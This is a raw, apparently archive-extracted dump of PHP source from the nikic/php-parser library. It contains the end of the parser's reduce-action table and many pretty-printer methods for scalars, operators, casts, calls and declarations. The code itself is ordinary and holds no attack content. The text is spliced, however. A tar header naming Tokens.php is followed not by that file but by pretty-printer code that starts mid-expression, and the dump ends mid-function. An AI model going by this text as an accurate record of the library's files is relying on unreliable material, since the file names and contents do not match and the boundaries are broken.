$this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 545 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 546 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 547 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 548 => function ($stackPos) { $this->semValue = new Expr\Variable(new Expr\Error($this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes), $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); $this->errorState = 2; }, 549 => function ($stackPos) { $var = $this->semStack[$stackPos-(1-1)]->name; $this->semValue = \is_string($var) ? new Node\VarLikeIdentifier($var, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes) : $var; }, 550 => function ($stackPos) { $this->semValue = new Expr\StaticPropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 551 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 552 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 553 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 554 => function ($stackPos) { $this->semValue = new Expr\PropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 555 => function ($stackPos) { $this->semValue = new Expr\NullsafePropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 556 => function ($stackPos) { $this->semValue = new Expr\StaticPropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 557 => function ($stackPos) { $this->semValue = new Expr\StaticPropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 558 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 559 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 560 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 561 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 562 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 563 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 564 => function ($stackPos) { $this->semValue = new Expr\Error($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); $this->errorState = 2; }, 565 => function ($stackPos) { $this->semValue = new Expr\List_($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 566 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; $end = count($this->semValue)-1; if ($this->semValue[$end] === null) array_pop($this->semValue); }, 567 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 568 => function ($stackPos) { /* do nothing -- prevent default action of $$=$this->semStack[$1]. See $551. */ }, 569 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 570 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 571 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(1-1)], null, false, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 572 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(2-2)], null, true, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 573 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(1-1)], null, false, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 574 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(3-3)], $this->semStack[$stackPos-(3-1)], false, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 575 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(4-4)], $this->semStack[$stackPos-(4-1)], true, $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 576 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(3-3)], $this->semStack[$stackPos-(3-1)], false, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 577 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(2-2)], null, false, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes, true, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 578 => function ($stackPos) { $this->semValue = null; }, 579 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 580 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 581 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 582 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)]); }, 583 => function ($stackPos) { $this->semValue = new Scalar\EncapsedStringPart($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 584 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 585 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 586 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 587 => function ($stackPos) { $this->semValue = new Expr\PropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 588 => function ($stackPos) { $this->semValue = new Expr\NullsafePropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 589 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 590 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 591 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(6-2)], $this->semStack[$stackPos-(6-4)], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); }, 592 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 593 => function ($stackPos) { $this->semValue = new Scalar\String_($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 594 => function ($stackPos) { $this->semValue = $this->parseNumString($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 595 => function ($stackPos) { $this->semValue = $this->parseNumString('-' . $this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 596 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, ]; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Parser/Tokens.php000064400000010036147577714370022211 0ustar00pAttrGroups($node->attrGroups, true) . $this->pModifiers($node->flags) . ($node->type ? $this->p($node->type) . ' ' : '') . ($node->byRef ? '&' : '') . ($node->variadic ? '...' : '') . $this->p($node->var) . ($node->default ? ' = ' . $this->p($node->default) : ''); } protected function pArg(Node\Arg $node) { return ($node->name ? $node->name->toString() . ': ' : '') . ($node->byRef ? '&' : '') . ($node->unpack ? '...' : '') . $this->p($node->value); } protected function pVariadicPlaceholder(Node\VariadicPlaceholder $node) { return '...'; } protected function pConst(Node\Const_ $node) { return $node->name . ' = ' . $this->p($node->value); } protected function pNullableType(Node\NullableType $node) { return '?' . $this->p($node->type); } protected function pUnionType(Node\UnionType $node) { return $this->pImplode($node->types, '|'); } protected function pIntersectionType(Node\IntersectionType $node) { return $this->pImplode($node->types, '&'); } protected function pIdentifier(Node\Identifier $node) { return $node->name; } protected function pVarLikeIdentifier(Node\VarLikeIdentifier $node) { return '$' . $node->name; } protected function pAttribute(Node\Attribute $node) { return $this->p($node->name) . ($node->args ? '(' . $this->pCommaSeparated($node->args) . ')' : ''); } protected function pAttributeGroup(Node\AttributeGroup $node) { return '#[' . $this->pCommaSeparated($node->attrs) . ']'; } // Names protected function pName(Name $node) { return implode('\\', $node->parts); } protected function pName_FullyQualified(Name\FullyQualified $node) { return '\\' . implode('\\', $node->parts); } protected function pName_Relative(Name\Relative $node) { return 'namespace\\' . implode('\\', $node->parts); } // Magic Constants protected function pScalar_MagicConst_Class(MagicConst\Class_ $node) { return '__CLASS__'; } protected function pScalar_MagicConst_Dir(MagicConst\Dir $node) { return '__DIR__'; } protected function pScalar_MagicConst_File(MagicConst\File $node) { return '__FILE__'; } protected function pScalar_MagicConst_Function(MagicConst\Function_ $node) { return '__FUNCTION__'; } protected function pScalar_MagicConst_Line(MagicConst\Line $node) { return '__LINE__'; } protected function pScalar_MagicConst_Method(MagicConst\Method $node) { return '__METHOD__'; } protected function pScalar_MagicConst_Namespace(MagicConst\Namespace_ $node) { return '__NAMESPACE__'; } protected function pScalar_MagicConst_Trait(MagicConst\Trait_ $node) { return '__TRAIT__'; } // Scalars protected function pScalar_String(Scalar\String_ $node) { $kind = $node->getAttribute('kind', Scalar\String_::KIND_SINGLE_QUOTED); switch ($kind) { case Scalar\String_::KIND_NOWDOC: $label = $node->getAttribute('docLabel'); if ($label && !$this->containsEndLabel($node->value, $label)) { if ($node->value === '') { return "<<<'$label'\n$label" . $this->docStringEndToken; } return "<<<'$label'\n$node->value\n$label" . $this->docStringEndToken; } /* break missing intentionally */ case Scalar\String_::KIND_SINGLE_QUOTED: return $this->pSingleQuotedString($node->value); case Scalar\String_::KIND_HEREDOC: $label = $node->getAttribute('docLabel'); if ($label && !$this->containsEndLabel($node->value, $label)) { if ($node->value === '') { return "<<<$label\n$label" . $this->docStringEndToken; } $escaped = $this->escapeString($node->value, null); return "<<<$label\n" . $escaped . "\n$label" . $this->docStringEndToken; } /* break missing intentionally */ case Scalar\String_::KIND_DOUBLE_QUOTED: return '"' . $this->escapeString($node->value, '"') . '"'; } throw new \Exception('Invalid string kind'); } protected function pScalar_Encapsed(Scalar\Encapsed $node) { if ($node->getAttribute('kind') === Scalar\String_::KIND_HEREDOC) { $label = $node->getAttribute('docLabel'); if ($label && !$this->encapsedContainsEndLabel($node->parts, $label)) { if (count($node->parts) === 1 && $node->parts[0] instanceof Scalar\EncapsedStringPart && $node->parts[0]->value === '' ) { return "<<<$label\n$label" . $this->docStringEndToken; } return "<<<$label\n" . $this->pEncapsList($node->parts, null) . "\n$label" . $this->docStringEndToken; } } return '"' . $this->pEncapsList($node->parts, '"') . '"'; } protected function pScalar_LNumber(Scalar\LNumber $node) { if ($node->value === -\PHP_INT_MAX-1) { // PHP_INT_MIN cannot be represented as a literal, // because the sign is not part of the literal return '(-' . \PHP_INT_MAX . '-1)'; } $kind = $node->getAttribute('kind', Scalar\LNumber::KIND_DEC); if (Scalar\LNumber::KIND_DEC === $kind) { return (string) $node->value; } if ($node->value < 0) { $sign = '-'; $str = (string) -$node->value; } else { $sign = ''; $str = (string) $node->value; } switch ($kind) { case Scalar\LNumber::KIND_BIN: return $sign . '0b' . base_convert($str, 10, 2); case Scalar\LNumber::KIND_OCT: return $sign . '0' . base_convert($str, 10, 8); case Scalar\LNumber::KIND_HEX: return $sign . '0x' . base_convert($str, 10, 16); } throw new \Exception('Invalid number kind'); } protected function pScalar_DNumber(Scalar\DNumber $node) { if (!is_finite($node->value)) { if ($node->value === \INF) { return '\INF'; } elseif ($node->value === -\INF) { return '-\INF'; } else { return '\NAN'; } } // Try to find a short full-precision representation $stringValue = sprintf('%.16G', $node->value); if ($node->value !== (double) $stringValue) { $stringValue = sprintf('%.17G', $node->value); } // %G is locale dependent and there exists no locale-independent alternative. We don't want // mess with switching locales here, so let's assume that a comma is the only non-standard // decimal separator we may encounter... $stringValue = str_replace(',', '.', $stringValue); // ensure that number is really printed as float return preg_match('/^-?[0-9]+$/', $stringValue) ? $stringValue . '.0' : $stringValue; } protected function pScalar_EncapsedStringPart(Scalar\EncapsedStringPart $node) { throw new \LogicException('Cannot directly print EncapsedStringPart'); } // Assignments protected function pExpr_Assign(Expr\Assign $node) { return $this->pInfixOp(Expr\Assign::class, $node->var, ' = ', $node->expr); } protected function pExpr_AssignRef(Expr\AssignRef $node) { return $this->pInfixOp(Expr\AssignRef::class, $node->var, ' =& ', $node->expr); } protected function pExpr_AssignOp_Plus(AssignOp\Plus $node) { return $this->pInfixOp(AssignOp\Plus::class, $node->var, ' += ', $node->expr); } protected function pExpr_AssignOp_Minus(AssignOp\Minus $node) { return $this->pInfixOp(AssignOp\Minus::class, $node->var, ' -= ', $node->expr); } protected function pExpr_AssignOp_Mul(AssignOp\Mul $node) { return $this->pInfixOp(AssignOp\Mul::class, $node->var, ' *= ', $node->expr); } protected function pExpr_AssignOp_Div(AssignOp\Div $node) { return $this->pInfixOp(AssignOp\Div::class, $node->var, ' /= ', $node->expr); } protected function pExpr_AssignOp_Concat(AssignOp\Concat $node) { return $this->pInfixOp(AssignOp\Concat::class, $node->var, ' .= ', $node->expr); } protected function pExpr_AssignOp_Mod(AssignOp\Mod $node) { return $this->pInfixOp(AssignOp\Mod::class, $node->var, ' %= ', $node->expr); } protected function pExpr_AssignOp_BitwiseAnd(AssignOp\BitwiseAnd $node) { return $this->pInfixOp(AssignOp\BitwiseAnd::class, $node->var, ' &= ', $node->expr); } protected function pExpr_AssignOp_BitwiseOr(AssignOp\BitwiseOr $node) { return $this->pInfixOp(AssignOp\BitwiseOr::class, $node->var, ' |= ', $node->expr); } protected function pExpr_AssignOp_BitwiseXor(AssignOp\BitwiseXor $node) { return $this->pInfixOp(AssignOp\BitwiseXor::class, $node->var, ' ^= ', $node->expr); } protected function pExpr_AssignOp_ShiftLeft(AssignOp\ShiftLeft $node) { return $this->pInfixOp(AssignOp\ShiftLeft::class, $node->var, ' <<= ', $node->expr); } protected function pExpr_AssignOp_ShiftRight(AssignOp\ShiftRight $node) { return $this->pInfixOp(AssignOp\ShiftRight::class, $node->var, ' >>= ', $node->expr); } protected function pExpr_AssignOp_Pow(AssignOp\Pow $node) { return $this->pInfixOp(AssignOp\Pow::class, $node->var, ' **= ', $node->expr); } protected function pExpr_AssignOp_Coalesce(AssignOp\Coalesce $node) { return $this->pInfixOp(AssignOp\Coalesce::class, $node->var, ' ??= ', $node->expr); } // Binary expressions protected function pExpr_BinaryOp_Plus(BinaryOp\Plus $node) { return $this->pInfixOp(BinaryOp\Plus::class, $node->left, ' + ', $node->right); } protected function pExpr_BinaryOp_Minus(BinaryOp\Minus $node) { return $this->pInfixOp(BinaryOp\Minus::class, $node->left, ' - ', $node->right); } protected function pExpr_BinaryOp_Mul(BinaryOp\Mul $node) { return $this->pInfixOp(BinaryOp\Mul::class, $node->left, ' * ', $node->right); } protected function pExpr_BinaryOp_Div(BinaryOp\Div $node) { return $this->pInfixOp(BinaryOp\Div::class, $node->left, ' / ', $node->right); } protected function pExpr_BinaryOp_Concat(BinaryOp\Concat $node) { return $this->pInfixOp(BinaryOp\Concat::class, $node->left, ' . ', $node->right); } protected function pExpr_BinaryOp_Mod(BinaryOp\Mod $node) { return $this->pInfixOp(BinaryOp\Mod::class, $node->left, ' % ', $node->right); } protected function pExpr_BinaryOp_BooleanAnd(BinaryOp\BooleanAnd $node) { return $this->pInfixOp(BinaryOp\BooleanAnd::class, $node->left, ' && ', $node->right); } protected function pExpr_BinaryOp_BooleanOr(BinaryOp\BooleanOr $node) { return $this->pInfixOp(BinaryOp\BooleanOr::class, $node->left, ' || ', $node->right); } protected function pExpr_BinaryOp_BitwiseAnd(BinaryOp\BitwiseAnd $node) { return $this->pInfixOp(BinaryOp\BitwiseAnd::class, $node->left, ' & ', $node->right); } protected function pExpr_BinaryOp_BitwiseOr(BinaryOp\BitwiseOr $node) { return $this->pInfixOp(BinaryOp\BitwiseOr::class, $node->left, ' | ', $node->right); } protected function pExpr_BinaryOp_BitwiseXor(BinaryOp\BitwiseXor $node) { return $this->pInfixOp(BinaryOp\BitwiseXor::class, $node->left, ' ^ ', $node->right); } protected function pExpr_BinaryOp_ShiftLeft(BinaryOp\ShiftLeft $node) { return $this->pInfixOp(BinaryOp\ShiftLeft::class, $node->left, ' << ', $node->right); } protected function pExpr_BinaryOp_ShiftRight(BinaryOp\ShiftRight $node) { return $this->pInfixOp(BinaryOp\ShiftRight::class, $node->left, ' >> ', $node->right); } protected function pExpr_BinaryOp_Pow(BinaryOp\Pow $node) { return $this->pInfixOp(BinaryOp\Pow::class, $node->left, ' ** ', $node->right); } protected function pExpr_BinaryOp_LogicalAnd(BinaryOp\LogicalAnd $node) { return $this->pInfixOp(BinaryOp\LogicalAnd::class, $node->left, ' and ', $node->right); } protected function pExpr_BinaryOp_LogicalOr(BinaryOp\LogicalOr $node) { return $this->pInfixOp(BinaryOp\LogicalOr::class, $node->left, ' or ', $node->right); } protected function pExpr_BinaryOp_LogicalXor(BinaryOp\LogicalXor $node) { return $this->pInfixOp(BinaryOp\LogicalXor::class, $node->left, ' xor ', $node->right); } protected function pExpr_BinaryOp_Equal(BinaryOp\Equal $node) { return $this->pInfixOp(BinaryOp\Equal::class, $node->left, ' == ', $node->right); } protected function pExpr_BinaryOp_NotEqual(BinaryOp\NotEqual $node) { return $this->pInfixOp(BinaryOp\NotEqual::class, $node->left, ' != ', $node->right); } protected function pExpr_BinaryOp_Identical(BinaryOp\Identical $node) { return $this->pInfixOp(BinaryOp\Identical::class, $node->left, ' === ', $node->right); } protected function pExpr_BinaryOp_NotIdentical(BinaryOp\NotIdentical $node) { return $this->pInfixOp(BinaryOp\NotIdentical::class, $node->left, ' !== ', $node->right); } protected function pExpr_BinaryOp_Spaceship(BinaryOp\Spaceship $node) { return $this->pInfixOp(BinaryOp\Spaceship::class, $node->left, ' <=> ', $node->right); } protected function pExpr_BinaryOp_Greater(BinaryOp\Greater $node) { return $this->pInfixOp(BinaryOp\Greater::class, $node->left, ' > ', $node->right); } protected function pExpr_BinaryOp_GreaterOrEqual(BinaryOp\GreaterOrEqual $node) { return $this->pInfixOp(BinaryOp\GreaterOrEqual::class, $node->left, ' >= ', $node->right); } protected function pExpr_BinaryOp_Smaller(BinaryOp\Smaller $node) { return $this->pInfixOp(BinaryOp\Smaller::class, $node->left, ' < ', $node->right); } protected function pExpr_BinaryOp_SmallerOrEqual(BinaryOp\SmallerOrEqual $node) { return $this->pInfixOp(BinaryOp\SmallerOrEqual::class, $node->left, ' <= ', $node->right); } protected function pExpr_BinaryOp_Coalesce(BinaryOp\Coalesce $node) { return $this->pInfixOp(BinaryOp\Coalesce::class, $node->left, ' ?? ', $node->right); } protected function pExpr_Instanceof(Expr\Instanceof_ $node) { list($precedence, $associativity) = $this->precedenceMap[Expr\Instanceof_::class]; return $this->pPrec($node->expr, $precedence, $associativity, -1) . ' instanceof ' . $this->pNewVariable($node->class); } // Unary expressions protected function pExpr_BooleanNot(Expr\BooleanNot $node) { return $this->pPrefixOp(Expr\BooleanNot::class, '!', $node->expr); } protected function pExpr_BitwiseNot(Expr\BitwiseNot $node) { return $this->pPrefixOp(Expr\BitwiseNot::class, '~', $node->expr); } protected function pExpr_UnaryMinus(Expr\UnaryMinus $node) { if ($node->expr instanceof Expr\UnaryMinus || $node->expr instanceof Expr\PreDec) { // Enforce -(-$expr) instead of --$expr return '-(' . $this->p($node->expr) . ')'; } return $this->pPrefixOp(Expr\UnaryMinus::class, '-', $node->expr); } protected function pExpr_UnaryPlus(Expr\UnaryPlus $node) { if ($node->expr instanceof Expr\UnaryPlus || $node->expr instanceof Expr\PreInc) { // Enforce +(+$expr) instead of ++$expr return '+(' . $this->p($node->expr) . ')'; } return $this->pPrefixOp(Expr\UnaryPlus::class, '+', $node->expr); } protected function pExpr_PreInc(Expr\PreInc $node) { return $this->pPrefixOp(Expr\PreInc::class, '++', $node->var); } protected function pExpr_PreDec(Expr\PreDec $node) { return $this->pPrefixOp(Expr\PreDec::class, '--', $node->var); } protected function pExpr_PostInc(Expr\PostInc $node) { return $this->pPostfixOp(Expr\PostInc::class, $node->var, '++'); } protected function pExpr_PostDec(Expr\PostDec $node) { return $this->pPostfixOp(Expr\PostDec::class, $node->var, '--'); } protected function pExpr_ErrorSuppress(Expr\ErrorSuppress $node) { return $this->pPrefixOp(Expr\ErrorSuppress::class, '@', $node->expr); } protected function pExpr_YieldFrom(Expr\YieldFrom $node) { return $this->pPrefixOp(Expr\YieldFrom::class, 'yield from ', $node->expr); } protected function pExpr_Print(Expr\Print_ $node) { return $this->pPrefixOp(Expr\Print_::class, 'print ', $node->expr); } // Casts protected function pExpr_Cast_Int(Cast\Int_ $node) { return $this->pPrefixOp(Cast\Int_::class, '(int) ', $node->expr); } protected function pExpr_Cast_Double(Cast\Double $node) { $kind = $node->getAttribute('kind', Cast\Double::KIND_DOUBLE); if ($kind === Cast\Double::KIND_DOUBLE) { $cast = '(double)'; } elseif ($kind === Cast\Double::KIND_FLOAT) { $cast = '(float)'; } elseif ($kind === Cast\Double::KIND_REAL) { $cast = '(real)'; } return $this->pPrefixOp(Cast\Double::class, $cast . ' ', $node->expr); } protected function pExpr_Cast_String(Cast\String_ $node) { return $this->pPrefixOp(Cast\String_::class, '(string) ', $node->expr); } protected function pExpr_Cast_Array(Cast\Array_ $node) { return $this->pPrefixOp(Cast\Array_::class, '(array) ', $node->expr); } protected function pExpr_Cast_Object(Cast\Object_ $node) { return $this->pPrefixOp(Cast\Object_::class, '(object) ', $node->expr); } protected function pExpr_Cast_Bool(Cast\Bool_ $node) { return $this->pPrefixOp(Cast\Bool_::class, '(bool) ', $node->expr); } protected function pExpr_Cast_Unset(Cast\Unset_ $node) { return $this->pPrefixOp(Cast\Unset_::class, '(unset) ', $node->expr); } // Function calls and similar constructs protected function pExpr_FuncCall(Expr\FuncCall $node) { return $this->pCallLhs($node->name) . '(' . $this->pMaybeMultiline($node->args) . ')'; } protected function pExpr_MethodCall(Expr\MethodCall $node) { return $this->pDereferenceLhs($node->var) . '->' . $this->pObjectProperty($node->name) . '(' . $this->pMaybeMultiline($node->args) . ')'; } protected function pExpr_NullsafeMethodCall(Expr\NullsafeMethodCall $node) { return $this->pDereferenceLhs($node->var) . '?->' . $this->pObjectProperty($node->name) . '(' . $this->pMaybeMultiline($node->args) . ')'; } protected function pExpr_StaticCall(Expr\StaticCall $node) { return $this->pDereferenceLhs($node->class) . '::' . ($node->name instanceof Expr ? ($node->name instanceof Expr\Variable ? $this->p($node->name) : '{' . $this->p($node->name) . '}') : $node->name) . '(' . $this->pMaybeMultiline($node->args) . ')'; } protected function pExpr_Empty(Expr\Empty_ $node) { return 'empty(' . $this->p($node->expr) . ')'; } protected function pExpr_Isset(Expr\Isset_ $node) { return 'isset(' . $this->pCommaSeparated($node->vars) . ')'; } protected function pExpr_Eval(Expr\Eval_ $node) { return 'eval(' . $this->p($node->expr) . ')'; } protected function pExpr_Include(Expr\Include_ $node) { static $map = [ Expr\Include_::TYPE_INCLUDE => 'include', Expr\Include_::TYPE_INCLUDE_ONCE => 'include_once', Expr\Include_::TYPE_REQUIRE => 'require', Expr\Include_::TYPE_REQUIRE_ONCE => 'require_once', ]; return $map[$node->type] . ' ' . $this->p($node->expr); } protected function pExpr_List(Expr\List_ $node) { return 'list(' . $this->pCommaSeparated($node->items) . ')'; } // Other protected function pExpr_Error(Expr\Error $node) { throw new \LogicException('Cannot pretty-print AST with Error nodes'); } protected function pExpr_Variable(Expr\Variable $node) { if ($node->name instanceof Expr) { return '${' . $this->p($node->name) . '}'; } else { return '$' . $node->name; } } protected function pExpr_Array(Expr\Array_ $node) { $syntax = $node->getAttribute('kind', $this->options['shortArraySyntax'] ? Expr\Array_::KIND_SHORT : Expr\Array_::KIND_LONG); if ($syntax === Expr\Array_::KIND_SHORT) { return '[' . $this->pMaybeMultiline($node->items, true) . ']'; } else { return 'array(' . $this->pMaybeMultiline($node->items, true) . ')'; } } protected function pExpr_ArrayItem(Expr\ArrayItem $node) { return (null !== $node->key ? $this->p($node->key) . ' => ' : '') . ($node->byRef ? '&' : '') . ($node->unpack ? '...' : '') . $this->p($node->value); } protected function pExpr_ArrayDimFetch(Expr\ArrayDimFetch $node) { return $this->pDereferenceLhs($node->var) . '[' . (null !== $node->dim ? $this->p($node->dim) : '') . ']'; } protected function pExpr_ConstFetch(Expr\ConstFetch $node) { return $this->p($node->name); } protected function pExpr_ClassConstFetch(Expr\ClassConstFetch $node) { return $this->pDereferenceLhs($node->class) . '::' . $this->p($node->name); } protected function pExpr_PropertyFetch(Expr\PropertyFetch $node) { return $this->pDereferenceLhs($node->var) . '->' . $this->pObjectProperty($node->name); } protected function pExpr_NullsafePropertyFetch(Expr\NullsafePropertyFetch $node) { return $this->pDereferenceLhs($node->var) . '?->' . $this->pObjectProperty($node->name); } protected function pExpr_StaticPropertyFetch(Expr\StaticPropertyFetch $node) { return $this->pDereferenceLhs($node->class) . '::$' . $this->pObjectProperty($node->name); } protected function pExpr_ShellExec(Expr\ShellExec $node) { return '`' . $this->pEncapsList($node->parts, '`') . '`'; } protected function pExpr_Closure(Expr\Closure $node) { return $this->pAttrGroups($node->attrGroups, true) . ($node->static ? 'static ' : '') . 'function ' . ($node->byRef ? '&' : '') . '(' . $this->pCommaSeparated($node->params) . ')' . (!empty($node->uses) ? ' use(' . $this->pCommaSeparated($node->uses) . ')' : '') . (null !== $node->returnType ? ' : ' . $this->p($node->returnType) : '') . ' {' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pExpr_Match(Expr\Match_ $node) { return 'match (' . $this->p($node->cond) . ') {' . $this->pCommaSeparatedMultiline($node->arms, true) . $this->nl . '}'; } protected function pMatchArm(Node\MatchArm $node) { return ($node->conds ? $this->pCommaSeparated($node->conds) : 'default') . ' => ' . $this->p($node->body); } protected function pExpr_ArrowFunction(Expr\ArrowFunction $node) { return $this->pAttrGroups($node->attrGroups, true) . ($node->static ? 'static ' : '') . 'fn' . ($node->byRef ? '&' : '') . '(' . $this->pCommaSeparated($node->params) . ')' . (null !== $node->returnType ? ': ' . $this->p($node->returnType) : '') . ' => ' . $this->p($node->expr); } protected function pExpr_ClosureUse(Expr\ClosureUse $node) { return ($node->byRef ? '&' : '') . $this->p($node->var); } protected function pExpr_New(Expr\New_ $node) { if ($node->class instanceof Stmt\Class_) { $args = $node->args ? '(' . $this->pMaybeMultiline($node->args) . ')' : ''; return 'new ' . $this->pClassCommon($node->class, $args); } return 'new ' . $this->pNewVariable($node->class) . '(' . $this->pMaybeMultiline($node->args) . ')'; } protected function pExpr_Clone(Expr\Clone_ $node) { return 'clone ' . $this->p($node->expr); } protected function pExpr_Ternary(Expr\Ternary $node) { // a bit of cheating: we treat the ternary as a binary op where the ?...: part is the operator. // this is okay because the part between ? and : never needs parentheses. return $this->pInfixOp(Expr\Ternary::class, $node->cond, ' ?' . (null !== $node->if ? ' ' . $this->p($node->if) . ' ' : '') . ': ', $node->else ); } protected function pExpr_Exit(Expr\Exit_ $node) { $kind = $node->getAttribute('kind', Expr\Exit_::KIND_DIE); return ($kind === Expr\Exit_::KIND_EXIT ? 'exit' : 'die') . (null !== $node->expr ? '(' . $this->p($node->expr) . ')' : ''); } protected function pExpr_Throw(Expr\Throw_ $node) { return 'throw ' . $this->p($node->expr); } protected function pExpr_Yield(Expr\Yield_ $node) { if ($node->value === null) { return 'yield'; } else { // this is a bit ugly, but currently there is no way to detect whether the parentheses are necessary return '(yield ' . ($node->key !== null ? $this->p($node->key) . ' => ' : '') . $this->p($node->value) . ')'; } } // Declarations protected function pStmt_Namespace(Stmt\Namespace_ $node) { if ($this->canUseSemicolonNamespaces) { return 'namespace ' . $this->p($node->name) . ';' . $this->nl . $this->pStmts($node->stmts, false); } else { return 'namespace' . (null !== $node->name ? ' ' . $this->p($node->name) : '') . ' {' . $this->pStmts($node->stmts) . $this->nl . '}'; } } protected function pStmt_Use(Stmt\Use_ $node) { return 'use ' . $this->pUseType($node->type) . $this->pCommaSeparated($node->uses) . ';'; } protected function pStmt_GroupUse(Stmt\GroupUse $node) { return 'use ' . $this->pUseType($node->type) . $this->pName($node->prefix) . '\{' . $this->pCommaSeparated($node->uses) . '};'; } protected function pStmt_UseUse(Stmt\UseUse $node) { return $this->pUseType($node->type) . $this->p($node->name) . (null !== $node->alias ? ' as ' . $node->alias : ''); } protected function pUseType($type) { return $type === Stmt\Use_::TYPE_FUNCTION ? 'function ' : ($type === 